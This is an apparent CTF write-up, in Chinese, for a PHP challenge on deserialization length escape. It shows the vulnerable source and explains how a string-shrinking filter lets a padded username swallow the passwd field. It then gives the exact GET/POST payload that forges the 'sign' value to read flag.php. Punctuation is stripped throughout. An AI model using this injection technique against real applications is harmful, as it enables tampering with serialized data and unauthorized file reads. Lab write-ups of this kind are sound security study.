
?php /* https://ytyyds.github.io/ (与本题无关) */ error_reporting(0); highlight_file(__FILE__); function filter($string){ return preg_replace( /phtml|php3|php4|php5|aspx|gif/,, $string); } $user[username] $_POST[name]; $user[passwd] $_GET[passwd]; $user[sign] 123456; $ans filter(serialize($user)); if(unserialize($ans)[sign] ytyyds){ echo file_get_contents(flag.php); }这题与《Unserialize_Escape》类似考察的也是反序列化长度逃逸区别在于《Unserialize_Escape》的长度是会从小变大而这题长度是从大变小# 正常我们的序列化状态 a:3:{s:8:username;s:3:dfz;s:6:passwd;s:3:123;s:4:sign;s:6:123456;} # 我们想要的序列化状态 a:3:{s:8:username;s:3:dfz;s:6:passwd;s:3:123;s:4:sign;s:6:ytyyds;} 这里尝试构造passwd发现不太好构造因为长度是从大变小我从passwd构造可操作范围很局限所以从username构造这样可操作空间比较大 # 我们需要的攻击向量在{1}进行注入注入时还要考虑到会有passwd字段也会存在而且也会很长所以我们需要拉长username的内容长度 # 把原本的passwd作为username的内容进行吞掉然后逃逸出来使用我们自己定义的passwd字段 a:3:{s:8:username;s:3:【1】;s:6:passwd;s:3:123;s:4:sign;s:6:123456;} a:3:{s:8:username;s:28:;s:6:passwd;s:54:xxxxxxx;s:6:passwd;s:0:;s:4:sign;s:6:ytyyds;};s:4:sign;s:6:123456;}http://3b9121a3-7d2b-40d4-95fe-87af72e007ee.www.polarctf.com:8090/?passwdxxxxxxx;s:6:passwd;s:0:;s:4:sign;s:6:ytyyds;} POST: namephp3php3php3php3php3php3php3